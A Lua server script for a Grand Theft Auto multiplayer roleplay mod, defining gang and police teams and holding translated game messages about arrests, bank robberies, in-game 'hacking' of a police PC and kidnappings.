هذا كود سيرفر
Grove = createTeam("Grove Street", 0, 128, 0)
Ballas = createTeam("Ballas", 128, 0, 128)
Vagos = createTeam("Vagos", 255, 200, 0)
Aztec = createTeam("Aztec", 0, 128, 255)
Medic = createTeam("Medic", 24, 198, 238)
Rifa = createTeam("Rifa", 250,128,114)
Triads = createTeam("Triads", 104,104,104)
NangBoys = createTeam("Da Nang", 255,0,255)
Mafia = createTeam("Mafia", 154,205,50)
Russians = createTeam("Russians" ,160,82,45)
Police = createTeam("Police", 0, 0, 255)
NoTeam = createTeam("No Team", 255, 0, 0)
setTeamFriendlyFire(Ballas, false)
setTeamFriendlyFire(Grove, false)
setTeamFriendlyFire(Vagos, false)
setTeamFriendlyFire(Aztec, false)
setTeamFriendlyFire(Police, false)
setTeamFriendlyFire(Medic, false)
setTeamFriendlyFire(Rifa, false)
setTeamFriendlyFire(Triads, false)
setTeamFriendlyFire(NangBoys, false)
setTeamFriendlyFire(Mafia, false)
setTeamFriendlyFire(Russians, false)
setTime(0, 0)
setWeather(5)
wb = 10
local stats = {
[69]=500,
[70]=999,
[71]=999,
[72]=999,
[73]=500,
[74]=999,
[75]=500,
[76]=999,
[77]=999,
[78]=999,
[79]=999,
[160]=999,
[225]=999,
[229]=999,
[230]=999
}
function setStat(player)
for statID,value in pairs(stats) do
setPedStat(player, statID, value)
end
end
--wrestlers = 0
addEvent("setID", true)
function FsetID(id)
restartid = false
for k,v in ipairs(getElementsByType("player")) do
if getElementData(v, "ID") == id then
restartid = true
end
end
if restartid then
triggerClientEvent("resetID", source)
else
setElementData(source, "ID", id)
end
restartid = false
end
addEventHandler("setID", getRootElement(), FsetID)
function setAnimation(animationBlock,animationID)
setPedAnimation(source, animationBlock, animationID, -1, true, false)
end
addEvent("setAnimation",true)
addEventHandler("setAnimation", root, setAnimation)
function stopAnimation()
setPedAnimation(source, false)
end
addEvent("stopAnimation",true)
addEventHandler("stopAnimation", root, stopAnimation)
-- Cancel Logout --
addEventHandler("onPlayerCommand", root, function(cmd) if cmd == "logout" then cancelEvent() end end)
--
RSIV = {}
hpcfailed = {}
ar1text = {}
ar2text = {}
car1text = {}
car2text = {}
esc1text = {}
esc2text = {}
cesc1text = {}
cesc2text = {}
btetext = {}
btstext = {}
--@ebttext = {}
--@sbttext = {}
fhptext = {}
ahptext = {}
wrntext = {}
hr1text = {}
hr2text = {}
phdtext = {}
arbtext = {}
rrb1text = {}
rrb2text = {}
brdtext = {}
shptext = {}
shr1text = {}
shr2text = {}
hpt1text = {}
hpt2text = {}
rmb1text = {}
rmb2text = {}
mrmb1text = {}
mrmb2text = {}
mrmb3text = {}
frbtext = {}
amr1text = {}
amr2text = {}
phdr1text = {}
phdr2text = {}
bc1text = {}
bc2text = {}
tk1text = {}
tk2text = {}
tkp1text = {}
tkp2text = {}
yph1text = {}
yph2text = {}
pmltext = {}
ybktext = {}
yhktext = {}
afhtext = {}
ybrtext = {}
hrytext = {}
efhtext = {}
yhetext = {}
hbrtext = {}
ygmtext = {}
gymtext = {}
--[[hwmtext = {}
mwstext = {}
nwmtext = {}
shjtext = {}]]--@--
htm1text = {}
htm2text = {}
yht1text = {}
yht2text = {}
--kidnapper = {}
send = {}
addEvent("FRNLang", true)
function FFRNLang()
--outputDebugString("server: FFRNLang")
hpcfailed[source] = 'Failed in Hacking LSPD PC!'
setElementData(source, "Language", 7)
ar1text[source] = 'Vous avez été arrêté par un agent '
ar2text[source] = ''
car1text[source] = 'Vous avez arrêté '
car2text[source] = ''
esc1text[source] = 'Vous avez échappé '
esc2text[source] = ''
cesc1text[source] = ''
cesc2text[source] = ' a échappé de vous!'
btetext[source] = "Temps de pause est terminée!"
btstext[source] = "pause!"
--@ebttext[source] = "Temps de pause sera terminée après une demi-heure si vous n'avez pas de nouveau à votre prison, votre temps de prison ne bougera pas!"
--@sbttext[source] = "Temps de pause sera démarré après une demi-heure!"
fhptext[source] = "Piratage PC LSPD a échoué!"
ahptext[source] = "!!!Tentative de piratage PC LSPD, ne laissez pas votre position!!!"
wrntext[source] = " !!!Attention!!!"
hr1text[source] = '*Rapport de LSPD: '
hr2text[source] = ' est piratage PC LSPD!'
phdtext[source] = "Il y avait quelqu'un a piraté PC LSPD, PC s'est éteint!"
arbtext[source] = "!!!Essayer d'ouvrir la porte, ne laissez pas votre position!!!"
rrb1text[source] = '*Rapport de la Banque: '
rrb2text[source] = ' tente de voler la banque!'
brdtext[source] = "Il y avait quelqu'un a volé la banque avant!"
shptext[source] = "Vous réussi à pirater PC LSPD toutes les prisons a ouvert!"
shr1text[source] = '*Rapport de LSPD: '
shr2text[source] = ' a piraté PC LSPD et ouvert toutes les prisons!'
hpt1text[source] = ''
hpt2text[source] = ' a piraté PC LSPD et ouvert toutes les prisons pour vous!'
rmb1text[source] = 'vous Robbed $'
rmb2text[source] = ''
mrmb1text[source] = '* '
mrmb2text[source] = ' a volé: $'
mrmb3text[source] = ' de la banque!'
frbtext[source] = "Vous avez échoué à Rob de la banque!"
amr1text[source] = 'Vous avez gagné $'
amr2text[source] = ''
phdr1text[source] = '*Rapport de LSPD: Le prisonnier '
phdr2text[source] = ' sest échappé de la prison!'
bc1text[source] = 'lofficier '
bc2text[source] = ' est responsable de lévasion du prisonnier!'
tk1text[source] = 'Vous avez offert '
tk2text[source] = ' pour payer son billet'
tkp1text[source] = ' a payé son coût du billet $'
tkp2text[source] = ''
yph1text[source] = 'Vous avez mis un coup sur'
yph2text[source] = 'pour'
pmltext[source] = "Player avec cet ID peut être laissé sur le serveur!"
ybktext[source] = 'vous avez été kidnappé par'
yhktext[source] = 'Vous avez enlevé'
afhtext[source] = "Les flics tentent de libérer tous les otages vos!"
ybrtext[source] = "Les flics vous ont sauvé"
hrytext[source] = 'vous a sauvé'
efhtext[source] = "vous avez gagné $2000 à partir d'un otage"
yhetext[source] = "vous avez gagné $200"
hbrtext[source] = "Ce joueur a été volé avant!"
ygmtext[source] = 'vous avez donné'
gymtext[source] = 'vous avez donné'
--[[hwmtext[source] = 'a gagné le match!'
mwstext[source] = "!!!!!!WWE match débutera en 2 heures!!!!!!"
nwmtext[source] = "Pas de gagnant!"
shjtext[source] = "Quelqu'un a rejoindre le match avant, max: 16 lutteurs!"]]--@--
htm1text[source] = 'a transféré'
htm2text[source] = 'à votre compte bancaire'
yht1text[source] = 'Vous avez réussi à transférer'
yht2text[source] = 'à'
end
addEventHandler("FRNLang", getRootElement(), FFRNLang)
addEvent("TRKLang", true)
function FTRKLang()
--outputDebugString("server: FTRKLang")
hpcfailed[source] = 'Failed in Hacking LSPD PC!'
setElementData(source, "Language", 6)
ar1text[source] = 'Memuru tarafından gözaltına alındı '
ar2text[source] = ''
car1text[source] = 'Tutukladı '
car2text[source] = ''
esc1text[source] = 'Kaçtı '
esc2text[source] = ''
cesc1text[source] = ''
cesc2text[source] = ' sizden kaçtı!'
btetext[source] = "Ara verme süresi sona erdi!"
btstext[source] = "Ara verme zamanı!"
--@ebttext[source] = "Dinlenme zamanı geri hapse hapis cezası hareket etmeyecektir olmasaydı yarım saat sonra sona erecek!"
--@sbttext[source] = "Ara verme süresi yarım saat sonra başlayacaktır!"
fhptext[source] = "Hacking LSPD PC başarısız oldu!"
ahptext[source] = "!!!LSPD PC kesmek için çalışılıyor, konumunuz bırakmayın!!!"
wrntext[source] = " !!!Uyarı!!!"
hr1text[source] = '*LSPD gelen Raporu: '
hr2text[source] = ' hack LSPD PC!'
phdtext[source] = "Birinin saldırıya uğramış LSPD PC, PC kapattı!"
arbtext[source] = "!!!Kapıyı açmak için çalışırken, konumunuzu bırakmayın!!!"
rrb1text[source] = '*Banka Raporu: '
rrb2text[source] = ' banka soymak için çalışılıyor!'
brdtext[source] = "Birisi önce banka soydular.!"
shptext[source] = "Başarıyla tüm hapishanelerinde açtı LSPD PC hacklendi!"
shr1text[source] = '*LSPD gelen Raporu: '
shr2text[source] = ' LSPD PC kesmek ve tüm hapishanelerinde açtı!'
hpt1text[source] = ''
hpt2text[source] = ' LSPD PC kesmek ve sizin için tüm hapishanelerinde açtı!'
rmb1text[source] = 'Bu Soyulmanın $'
rmb2text[source] = ''
mrmb1text[source] = '* '
mrmb2text[source] = ' soydular var: $'
mrmb3text[source] = ' banka!'
frbtext[source] = "Banka Rob başarısız oldu!"
amr1text[source] = 'Kazandık $'
amr2text[source] = ''
phdr1text[source] = '*LSPD Raporu: esir '
phdr2text[source] = ' hapishaneden kaçtı!'
bc1text[source] = 'Polis memuru '
bc2text[source] = ' mahkumun kaçış için sorumlu!'
tk1text[source] = 'Sunulan '
tk2text[source] = ' Onun bilet ödeme'
tkp1text[source] = ' onun bilet ücretleri ödedi $'
tkp2text[source] = ''
yph1text[source] = 'Sen bir hit vermiş'
yph2text[source] = 'için'
pmltext[source] = "Bu kimliği ile Player'ın sunucuya sol olabilir!"
ybktext[source] = 'senin tarafından kaçırıldı'
yhktext[source] = 'Sen kaçırdı'
afhtext[source] = "Polisler tüm rehineleri kurtarmayı denemeden!"
ybrtext[source] = "Polisler sizi kurtardık"
hrytext[source] = 'Eğer kurtardı'
efhtext[source] = "Eğer bir rehine dan $2000 kazandık"
yhetext[source] = "kazandık $200"
hbrtext[source] = "Bu oyuncu daha önce soyuldu!"
ygmtext[source] = 'Sen verdi'
gymtext[source] = 'Eğer verdi'
--[[hwmtext[source] = 'maçı kazandı!'
mwstext[source] = "!!!!!!WWE maçında 2 saat içinde başlayacak!!!!!!"
nwmtext[source] = "Kazanan yok!"
shjtext[source] = "Birisi önce maça katılmak var, max güreşçiler: 16!"]]--@--
htm1text[source] = 'transfer etti'
htm2text[source] = 'banka hesabınıza'
yht1text[source] = 'Başarıyla aktardınız'
yht2text[source] = 'karşı'
end
addEventHandler("TRKLang", getRootElement(), FTRKLang)
addEvent("RUSLang", true)
function FRUSLang()
--outputDebugString("server: FRUSLang")
hpcfailed[source] = 'Failed in Hacking LSPD PC!'
setElementData(source, "Language", 5)
ar1text[source] = 'Вы были арестованы офицер '
ar2text[source] = ''
car1text[source] = 'Вы арестованы '
car2text[source] = ''
esc1text[source] = 'Вы сбежали из '
esc2text[source] = ''
cesc1text[source] = ''
cesc2text[source] = ' убежал от вас!'
btetext[source] = "Перерыв закончился!"
btstext[source] = "Перерыв!"
--@ebttext[source] = "Перерыв будет завершен через полчаса, если вы не обратно в тюрьму ваш тюремный срок не сдвинется с места!"
--@sbttext[source] = "Перерыв будет запущен через полчаса!"
fhptext[source] = "Взлом Лос-Сантос РОВД компьютеру не удалось!"
ahptext[source] = "!!!Попытка взлома Лос-Сантос РОВД компьютер, не оставляйте вашу позицию!!!"
wrntext[source] = " !!!предупреждение!!!"
hr1text[source] = '*Отчет полиции Лос-Анджелеса: '
hr2text[source] = ' является взлом ПК полиции Лос-Анджелеса!'
phdtext[source] = "Был кто-то взломал Лос-Сантос РОВД компьютер, компьютер выключен!"
arbtext[source] = "!!!При попытке открыть ворота, не оставляйте вашу позицию!!!"
rrb1text[source] = '*Отчет Лос-Сантос отделение милиции: '
rrb2text[source] = ' пытается ограбить банк!'
brdtext[source] = "Был кто-то ограбил банк до!"
shptext[source] = "Вы успешно взломан Лос-Сантос ПК все тюрьмы открылся!"
shr1text[source] = '*Отчет полиции Лос-Сантос: '
shr2text[source] = ' взломал Лос-Сантос РОВД компьютер и открыли все тюрьмы!'
hpt1text[source] = ''
hpt2text[source] = ' взломал Лос-Сантос РОВД компьютер и открыли все тюрьмы для вас!'
rmb1text[source] = 'Вы ограбили $'
rmb2text[source] = ''
mrmb1text[source] = '* '
mrmb2text[source] = ' лишило: $'
mrmb3text[source] = ' из банка!'
frbtext[source] = "Вы не смогли ограбить банк!"
amr1text[source] = 'Вы заслужили $'
amr2text[source] = ''
phdr1text[source] = '*Отчет Лос-Сантос отделения милиции: пленный '
phdr2text[source] = ' сбежал из тюрьмы!'
bc1text[source] = 'офицер '
bc2text[source] = ' несет ответственность за побег заключенного!'
tk1text[source] = 'Вы предложили '
tk2text[source] = ' оплатить его билет'
tkp1text[source] = ' заплатил своей стоимости билета $'
tkp2text[source] = ''
yph1text[source] = 'Вы поместили хитом на'
yph2text[source] = 'для'
pmltext[source] = "Игрок с этим ID могут быть оставлены на сервере!"
ybktext[source] = 'Вы были похищены'
yhktext[source] = 'Вы похитили'
afhtext[source] = "Полицейские пытаются освободить всех заложников!"
ybrtext[source] = "Полицейские спасли вас"
hrytext[source] = 'спас вас'
efhtext[source] = "Вы заработали $2000 с заложниками"
yhetext[source] = "Вы заработали $200"
hbrtext[source] = "Этот игрок был ограблен раньше!"
ygmtext[source] = 'Вы дали'
gymtext[source] = 'дал вам'
--[[hwmtext[source] = 'выиграл матч!'
mwstext[source] = "!!!!!!WWE Матч начнется в 2 часа!!!!!!"
nwmtext[source] = "Нет победителя!"
shjtext[source] = "Кто-то должен вступить в матче перед вами, макс борцы: 16!"]]--@--
htm1text[source] = 'передало'
htm2text[source] = 'на ваш банковский счет'
yht1text[source] = 'Вы успешно перевели'
yht2text[source] = 'к'
end
addEventHandler("RUSLang", getRootElement(), FRUSLang)
addEvent("PTGLang", true)
function FPTGLang()
--outputDebugString("server: FPTGLang")
hpcfailed[source] = 'Failed in Hacking LSPD PC!'
setElementData(source, "Language", 4)
ar1text[source] = 'Você foi preso por policial '
ar2text[source] = ''
car1text[source] = 'Você tem preso '
car2text[source] = ''
esc1text[source] = 'Você tem escapado '
esc2text[source] = ''
cesc1text[source] = ''
cesc2text[source] = ' escapou de você!'
btetext[source] = "Tempo de intervalo acabou!"
btstext[source] = "Ruptura de tempo!"
--@ebttext[source] = "Tempo de intervalo será encerrado depois de meia hora, se você não volta para sua prisão o seu tempo de prisão não se moverá!"
--@sbttext[source] = "Tempo de intervalo será iniciado depois de meia hora!"
fhptext[source] = "Hacking los santos departamento de polícia de computador falhou!"
ahptext[source] = "!!!Tentar hackear los santos departamento de polícia de computador, não deixe a sua posição!!!"
wrntext[source] = " !!!Atenção!!!"
hr1text[source] = '*Relatório de Los Santos departamento de polícia: '
hr2text[source] = ' é cortar Los santos departamento de polícia de computador!'
phdtext[source] = "Houve alguém tenha atacado los santos departamento de polícia de computador, o computador foi desligado!"
arbtext[source] = "!!!Tentando abrir o portão, não deixe a sua posição!!!"
rrb1text[source] = '*Relatório do Banco: '
rrb2text[source] = ' está a tentar roubar o banco!'
brdtext[source] = "Havia alguém roubou o banco antes!"
shptext[source] = "Com êxito hacked los santos departamento de polícia de todas as prisões computador abriu!"
shr1text[source] = '*Relatório de Los Santos departamento de polícia: '
shr2text[source] = ' tem cortado los santos departamento de polícia de computador e abriu todas as prisões!'
hpt1text[source] = ''
hpt2text[source] = ' tem cortado los santos departamento de polícia de computador e abriu todas as prisões para você!'
rmb1text[source] = 'você Roubado $'
rmb2text[source] = ''
mrmb1text[source] = '* '
mrmb2text[source] = ' roubou: $'
mrmb3text[source] = ' do banco!'
frbtext[source] = "Você não conseguiu roubar o banco!"
amr1text[source] = 'Você ganhou $'
amr2text[source] = ''
phdr1text[source] = '*Relatório de Los Santos departamento de polícia: O prisioneiro '
phdr2text[source] = ' escapou da prisão!'
bc1text[source] = 'o oficial '
bc2text[source] = ' é responsável pela fuga do prisioneiro!'
tk1text[source] = 'Você tem oferecido '
tk2text[source] = ' para pagar o seu bilhete'
tkp1text[source] = ' pagou seu custo do bilhete $'
tkp2text[source] = ''
yph1text[source] = 'Você colocou uma batida em'
yph2text[source] = 'para'
pmltext[source] = "Jogador com este ID pode ser deixado ao servidor!"
ybktext[source] = 'você foi sequestrado por'
yhktext[source] = 'Você sequestrada'
afhtext[source] = "Os policiais tentando libertar todos os seus reféns!"
ybrtext[source] = "Os policiais resgataram você"
hrytext[source] = 'resgatou você'
efhtext[source] = "você ganhou US $2000 a partir de um refém"
yhetext[source] = "você ganhou $200"
hbrtext[source] = "Este jogador foi roubado antes!"
ygmtext[source] = 'você deu'
gymtext[source] = 'lhe deu'
--[[hwmtext[source] = 'ganhou o jogo!'
mwstext[source] = "!!!!!!WWE partida terá início em 2 horas!!!!!!"
nwmtext[source] = "Há vencedor!"
shjtext[source] = "Alguém tem juntar o jogo antes de, no máximo: 16 lutadores!"]]--@--
htm1text[source] = 'transferiu'
htm2text[source] = 'em sua conta bancária'
yht1text[source] = 'Você transferido com sucesso'
yht2text[source] = 'para'
end
addEventHandler("PTGLang", getRootElement(), FPTGLang)
addEvent("ESPLang", true)
function FESPLang()
--outputDebugString("server: FESPLang")
hpcfailed[source] = 'Failed in Hacking LSPD PC!'
setElementData(source, "Language", 3)
ar1text[source] = 'Has sido detenido por el policيa'
ar2text[source] =''
car1text[source] = 'Has ha detenido a'
car2text[source] =''
esc1text[source] = 'has escapado de'
esc2text[source] =''
cesc1text[source] =''
cesc2text[source] = 'se ha escapado de ti!'
btetext[source] = "El tiempo fue interrupido y ha terminado !"
btstext[source] = "El tiempo fue interrumpido!"
--@ebttext[source] = "El tiempo fue interrumpido y termina después de media hora si no lo as echo volver a su celda el tiempo en pricion no avanzara!"
--@sbttext[source] = "Tiempo interrumpido se iniciarل después de media hora!"
fhptext[source] = "PC LSPD hacking ha Fracasado!"
ahptext[source] = "!Comenzo el intento de hackear la PC LSPD, no deje su puesto!"
wrntext[source] = "! Advertencia!"
hr1text[source] = '* Informe de LSPD:'
hr2text[source] = 'La PC LSPD fue hackeada!'
phdtext[source] = "Alguien ha hackeado la LSPD PC,la PC se ha apagado!"
arbtext[source] = "!Comenzo el intento de abrir la puerta, no dejes tu pocision!"
rrb1text[source] = '* Informe del Banco:'
rrb2text[source] = 'estلs tratando de robar el banco!'
brdtext[source] = "Halgien a robado el banco antes!"
shptext[source] = "Has hackeado PC LSPD todas las celdas se ha abierto!"
shr1text[source] = '* Informe de LSPD:'
shr2text[source] = 'ha hackeado PC LSPD y se han Habierto todas las celdas!'
hpt1text[source] =''
hpt2text[source] = 'han hackeado la PC LSPD y se an habierto todas las puertas para ti!'
rmb1text[source] = 'Se han robaron $'
rmb2text[source] =''
mrmb1text[source] = '*'
mrmb2text[source] = 'has robado: $'
mrmb3text[source] = 'del banco!'
frbtext[source] = "Fracasaste la mision del banco!"
amr1text[source] = 'Usted ha ganado $'
amr2text[source] =''
phdr1text[source] = '* Informe de LSPD: El Criminal'
phdr2text[source] = 'se ha escapado de la pricion!'
bc1text[source] = 'El policia'
bc2text[source] = 'es responsable de la fuga del prisionero!'
tk1text[source] = 'Ha ofrecido'
tk2text[source] = 'para pagar su billete'
tkp1text[source] = 'ha pagado su boleto le costarل $'
tkp2text[source] =''
yph1text[source] = 'Tu as colocado un golpe en'
yph2text[source] = 'para'
pmltext[source] = "El Jugador con este ID puede dejar el servidor!"
ybktext[source] = 'has sido secuestrado por'
yhktext[source] = 'Has secuestrado'
afhtext[source] = "Los policيas tratando de liberar a todos sus pricioneros!"
ybrtext[source] = "La policيa ha rescatado"
hrytext[source] = 'has rescatado'
efhtext[source] = "Tu has ganado $ 2000 de un pricionero"
yhetext[source] = "has ganado $ 200"
hbrtext[source] = "Este jugador ha robado antes!"
ygmtext[source] = 'Tu has dado'
gymtext[source] = 'Resiviste'
--[[hwmtext[source] = 'has ganado la partida !'
mwstext[source] = "!! WWE el partido comenzarل en 2 horas!!!"
nwmtext[source] = "No hay ganador!"
shjtext[source] = "Alguien se unido antes a la partida de peleadores, mلx: 16"]]--@--
htm1text[source] = 'ha transferido'
htm2text[source] = 'a tu cuenta de banco'
yht1text[source] = 'Has ha transferido con éxito'
yht2text[source] = 'a'
end
addEventHandler("ESPLang", getRootElement(), FESPLang)
addEvent("GERLang", true)
function FGERLang()
--outputDebugString("server: FGERLang")
hpcfailed[source] = 'Failed in Hacking LSPD PC!'
setElementData(source, "Language", 2)
ar1text[source] = 'je bent gearresteerd bij agent '
ar2text[source] = ''
car1text[source] = 'je bent gearresteerd '
car2text[source] = ''
esc1text[source] = 'je bent ontsnapt van '
esc2text[source] = ''
cesc1text[source] = ''
cesc2text[source] = ' is ontsnapt aan je!'
btetext[source] = "Ontsnapping tijd is over!"
btstext[source] = "Ontsnapping Tijd tijd!"
--@ebttext[source] = "ontsnaping tijd will over ander half uur als je niet terug komt naar je cell gaat je jail tijd niet verder!"
--@sbttext[source] = "ontsnapping tijd zal gestart worden over ander half uur!"
fhptext[source] = "Hacking LSPD PC is misslukt!"
ahptext[source] = "!!!Probeert LSPD pc te hacken verlaat je positie niet!!!"
wrntext[source] = " !!!Waarschuwing!!!"
hr1text[source] = '*Report van LSPD: '
hr2text[source] = ' heefd de boete betaalt gekost!'
phdtext[source] = "Er heefd iemand anders de LSPD pc gehackt, PC valt uit"
arbtext[source] = "!!!probeert deuren te openen, verlaat je positie niet!!!"
rrb1text[source] = '*Report van Bank: '
rrb2text[source] = ' Probeert de bank te overvallen!'
brdtext[source] = "er was iemand voor je die de bank heefd over vallen!"
shptext[source] = "je hebt succes vol de LSPD PC gehackt alle cellen zijn geopend!"
shr1text[source] = '*Report from LSPD: '
shr2text[source] = ' Heefd LSPD PC gehackt en alle cellen geopend!'
hpt1text[source] = ''
hpt2text[source] = ' Heefd LSPD PC gehackt en alle cellen geopent! voor jouw!'
rmb1text[source] = 'je overvallen geld $'
rmb2text[source] = ''
mrmb1text[source] = '* '
mrmb2text[source] = ' heefd overvallen geld $'
mrmb3text[source] = ' van bank!'
frbtext[source] = "je poging om de bank te beroven is mislukt!"
amr1text[source] = 'je hebt gekregen $'
amr2text[source] = ''
phdr1text[source] = '*Report frin LSPD: The gevangene '
phdr2text[source] = ' is ontsnapt uit the gevangenis!'
bc1text[source] = 'De agent '
bc2text[source] = ' is verandwoordelijk voor the ontsnapte gevangene!'
tk1text[source] = 'Je hebt gekregen '
tk2text[source] = ' om zijn bekeuring te betalen'
tkp1text[source] = ' hat sich bezahlt sein Ticket kostet $'
tkp2text[source] = ''
yph1text[source] = 'Sie haben einen Treffer auf platziert'
yph2text[source] = 'für'
pmltext[source] = "Spieler mit dieser ID können Sie den Server gelassen werden!"
ybktext[source] = 'Sie wurden von entführt worden'
yhktext[source] = 'Sie haben entführt'
afhtext[source] = "Die Polizei versucht, alle Ihre Geiseln zu befreien!"
ybrtext[source] = "Die Bullen haben Sie gerettet"
hrytext[source] = 'hat dich gerettet'
efhtext[source] = "Sie haben $2000 aus einer Geisel verdient"
yhetext[source] = "Sie haben $200 verdient"
hbrtext[source] = "Dieser Spieler wurde vorher beraubt!"
ygmtext[source] = 'du gabst'
gymtext[source] = 'gab dir'
--[[hwmtext[source] = 'hat das Spiel gewonnen!'
mwstext[source] = "!!!!!!WWE Spiel wird in 2 Stunden starten!!!!!!"
nwmtext[source] = "Kein Sieger!"
shjtext[source] = "Jemand muss sich dem Spiel, bevor Sie, Ringer max: 16!"]]--@--
htm1text[source] = 'übertragen hat'
htm2text[source] = 'auf Ihr Bankkonto'
yht1text[source] = 'Sie haben erfolgreich übertragen'
yht2text[source] = 'auf'
end
addEventHandler("GERLang", getRootElement(), FGERLang)
addEvent("ARLang", true)
function FARLang()
--outputDebugString("server: FARLang")
setElementData(source, "Language", 1)
hpcfailed[source] = 'Failed in Hacking LSPD PC!'
ar1text[source] = ''
ar2text[source] = ' تم القبض عليك بواسطة الشرطي'
car1text[source] = ''
car2text[source] = ' تم القبض على'
esc1text[source] = ''
esc2text[source] = ' لقد هربت من قبضة'
cesc1text[source] = '!منك '
cesc2text[source] = ' لقد أفلت'
btetext[source] = "انتهت الإستراحة"
btstext[source] = "وقت الإستراحة"
--@ebttext[source] = "ستنتهي الإستراحة بعد نصف ساعة عودوا إلى الزنزانات وإلا سنزيد مدة سجن من يعصي الأوامر"
--@sbttext[source] = "ستبدأ الإستراحة بعد نصف ساعة"
fhptext[source] = "!عملية تهكير كمبيوتر مركز الشرطة فشلت"
ahptext[source] = "!!!يتم الآن تهكير كمبيوتر مركز الشرطة، لاتغادر مكانك!!!"
wrntext[source] = " !!!إنذار!!!"
hr1text[source] = '!يقوم بتهكير كمبيوتر مركز الشرطة '
hr2text[source] = ' :بلاغ من مركز الشرطة'
phdtext[source] = "!قام أحدهم بتهكير الكمبيوتر، الكمبيوتر الآن لا يعمل"
arbtext[source] = "!!!يتم الآن فتح البوابة، لا تغادر مكانك!!!"
rrb1text[source] = '!يقوم بسرقة المال '
rrb2text[source] = ' :بلاغ من البنك'
brdtext[source] = "!قام أحدهم بسرقة البنك من قبل"
shptext[source] = "!تم التهكير بنجاح جميع أبواب الزنزانات تم فتحها"
shr1text[source] = '!قام بتهكير كمبيوتر مركز الشرطة وفتح جميع أبواب الزنزانات '
shr2text[source] = ' :بلاغ من مركز الشرطة'
hpt1text[source] = '!بتهكير كمبيوتر مركز الشرطة وفتح أبواب الزنزانات لكم '
hpt2text[source] = ' قام'
rmb1text[source] = '$'
rmb2text[source] = ' لقد سرقت'
mrmb1text[source] = ''
mrmb2text[source] = ' من البنك من قبل اللاعب $'
mrmb3text[source] = ' تمت سرقة'
frbtext[source] = "!لقد فشلت في سرقة البنك"
amr1text[source] = '$'
amr2text[source] = ' لقد حصلت على'
phdr1text[source] = 'من السجن '
phdr2text[source] = ' بلاغ من مركز الشرطة: فر السجين'
bc1text[source] = '!مسؤول عن هروب السجين '
bc2text[source] = ' الشرطي'
tk1text[source] = 'بدفع الغرامة انتظر قليلاً لتستلمها '
tk2text[source] = ' لقد أمرت'
tkp1text[source] = ' من اللاعب $'
tkp2text[source] = ' لقد استلمت غرامة قدرها'
yph1text[source] = 'لقد وضغت جائزة على'
yph2text[source] = 'قدرها'
pmltext[source] = "!اللاعب بهذا الرقم ربما قد خرج من السيرفر"
ybktext[source] = '!قام باختطافك'
yhktext[source] = 'لقد اختطفت'
afhtext[source] = "!رجال الشرطة يحاولون تحرير جميع رهائنك"
ybrtext[source] = "لقد أنقذك رجال الشرطة"
hrytext[source] = ' لقد أنقذك'
efhtext[source] = "لقد حصلت على 2000$ من أحد الرهائن"
yhetext[source] = "$لقد حصلت على 200"
hbrtext[source] = "!تمت سرقة هذا اللاعب من قبل"
ygmtext[source] = 'لقد أعطيت'
gymtext[source] = 'أعطاك'
--[[hwmtext[source] = 'فاز بالمباراة المصارع'
mwstext[source] = "!!!!!!ستبدأ بعد ساعتين WWE مباراة!!!!!!"
nwmtext[source] = "!لم يفز أحد بالمباراة"
shjtext[source] = "!16:أحد انضم للمبارة قبلك أقصى عدد للمصارعين"]]--@--
htm1text[source] = 'قام بتحويل'
htm2text[source] = 'إلى حسابك بالبنك'
yht1text[source] = 'تم بنجاح تحويل'
yht2text[source] = 'إلى'
end
addEventHandler("ARLang", getRootElement(), FARLang)
addEvent("ENGLang", true)
function FEngLang()
--outputDebugString("server: FEngLang")
setElementData(source, "Language", 0)
hpcfailed[source] = 'Failed in Hacking LSPD PC!'
ar1text[source] = 'You have been arrested by officer '
ar2text[source] = ''
car1text[source] = 'You have arrested '
car2text[source] = ''
esc1text[source] = 'You have escaped from '
esc2text[source] = ''
cesc1text[source] = ''
cesc2text[source] = ' has escaped from you!'
btetext[source] = "Break time has ended!"
btstext[source] = "Break time!"
--@ebttext[source] = "Break time will be ended after half an hour if you didn't back to your jail your jail time will not move!"
--@sbttext[source] = "Break time will be started after half an hour!"
fhptext[source] = "Hacking LSPD PC has failed!"
ahptext[source] = "!!!Attempting to hack LSPD PC, don't leave your position!!!"
wrntext[source] = " !!!Warning!!!"
hr1text[source] = '*Report from LSPD: '
hr2text[source] = ' is hacking LSPD PC!'
phdtext[source] = "There was someone has hacked LSPD PC, PC has shut down!"
arbtext[source] = "!!!Attempting to open the gate, don't leave your position!!!"
rrb1text[source] = '*Report from Bank: '
rrb2text[source] = ' is Attempting to rob the bank!'
brdtext[source] = "There was someone has robbed the bank before!"
shptext[source] = "You successfully hacked LSPD PC all jails has opened!"
shr1text[source] = '*Report from LSPD: '
shr2text[source] = ' has hacked LSPD PC and opened all jails!'
hpt1text[source] = ''
hpt2text[source] = ' has hacked LSPD PC and opened all jails for you!'
rmb1text[source] = 'You Robbed $'
rmb2text[source] = ''
mrmb1text[source] = '* '
mrmb2text[source] = ' has robbed: $'
mrmb3text[source] = ' from bank!'
frbtext[source] = "You failed to Rob the bank!"
amr1text[source] = 'You have earned $'
amr2text[source] = ''
phdr1text[source] = '*Report from LSPD: The prisoner '
phdr2text[source] = ' has escaped from the jail!'
bc1text[source] = 'The officer '
bc2text[source] = ' is responsible for the escape of the prisoner!'
tk1text[source] = 'You have offered '
tk2text[source] = ' to pay his ticket'
tkp1text[source] = ' has paid his ticket cost $'
tkp2text[source] = ''
yph1text[source] = 'You have placed a hit on'
yph2text[source] = 'for'
pmltext[source] = "Player with this ID might be left the server!"
ybktext[source] = 'you have been kidnapped by'
yhktext[source] = 'You have kidnapped'
afhtext[source] = "The cops attempting to free all your hostages!"
ybrtext[source] = "The cops have rescued you"
hrytext[source] = 'has rescued you'
efhtext[source] = "you have earned $2000 from a hostage"
yhetext[source] = "you have earned $200"
hbrtext[source] = "This player has been robbed before!"
ygmtext[source] = 'You gave'
gymtext[source] = 'gave you'
--[[hwmtext[source] = 'has won the match!'
mwstext[source] = "!!!!!!WWE match will start in 2 hours!!!!!!"
nwmtext[source] = "No winner!"
shjtext[source] = "Someone has join the match before you, max wrestlers:16!"]]--
htm1text[source] = 'has transferred'
htm2text[source] = 'to your bank account'
yht1text[source] = 'You have successfully transferred'
yht2text[source] = 'to'
end
addEventHandler("ENGLang", getRootElement(), FEngLang)
function weath()--startedResource
--outputDebugString("server: weath")
--[[if startedResource == getThisResource() then
for _, players in ipairs(getElementsByType("player")) do
jj[players] = false
ojj[players] = false
bbd[players] = false
ee1[players] = false
dbank[players] = false
robbank[players] = false
hlspdpc[players] = false
setElementData(players, "Stats", 0)
setElementData(players, "Scores", 0)
setElementData(players, "Language", 0)
